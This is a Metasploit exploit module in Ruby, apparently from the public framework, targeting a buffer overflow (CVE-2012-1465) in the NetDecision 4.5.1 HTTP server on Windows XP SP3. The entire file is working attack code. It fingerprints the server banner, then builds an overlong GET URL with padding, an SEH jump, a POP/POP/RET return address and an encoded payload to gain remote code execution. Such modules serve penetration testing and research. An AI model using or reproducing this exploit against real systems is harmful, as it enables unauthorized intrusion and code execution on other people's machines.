##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => "NetDecision 4.5.1 HTTP Server Buffer Overflow",
        'Description' => %q{
          This module exploits a vulnerability found in NetDecision's HTTP service
          (located in C:\Program Files\NetDecision\Bin\HttpSvr.exe).  By supplying a
          long string of data to the URL, an overflow may occur if the data gets handled
          by HTTP Server's active window.  In other words, in order to gain remote code
          execution, the victim is probably looking at HttpSvr's window.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Prabhu S Angadi', # Discovery, DoS PoC
          'sinn3r' # Metasploit
        ],
        'References' => [
          ['CVE', '2012-1465'],
          ['OSVDB', '79651'],
          ['URL', 'http://web.archive.org/web/20121024124508/http://secunia.com/advisories/48168/'],
          ['URL', 'http://secpod.org/advisories/SecPod_Netmechanica_NetDecision_HTTP_Server_DoS_Vuln.txt']
        ],
        'Payload' => {
          'BadChars' => "\x00\x09\x0a\x0d\x20\x25\x26\x27\x3f",
          'StackAdjustment' => -3500,
        },
        'DefaultOptions' => {
          'EXITFUNC' => "seh",
        },
        'Platform' => 'win',
        'Targets' => [
          [
            'NetDecision 4.5.1 on XP SP3',
            {
              # POP/POP/RET - OLEACC.dll
              'Ret' => 0x74C869E2,
              'Offset' => 1620
            }
          ],
        ],
        'Privileged' => false,
        'DisclosureDate' => '2012-02-24',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )
  end

  def check
    res = send_request_cgi({ 'uri' => '/' })
    banner = res.headers['Server']
    if banner =~ /NetDecision\-HTTP\-Server\/1\.0/
      return Exploit::CheckCode::Appears
    else
      return Exploit::CheckCode::Safe
    end
  end

  def exploit
    buf = "/"
    buf << rand_text_alpha(675, payload_badchars)
    buf << pattern_create(5) # Avoid TerminateProcess()
    buf << rand_text_alpha(target['Offset'] - buf.length, payload_badchars)
    buf << "\xeb\x06" + rand_text_alpha(2, payload_badchars)
    buf << [target.ret].pack('V*')
    buf << payload.encoded
    buf << rand_text_alpha(8000 - buf.length, payload_badchars)

    print_status("#{rhost}:#{rport} - Sending #{self.name}...")

    send_request_raw({
      'method' => 'GET',
      'uri' => buf
    })

    handler
  end
end
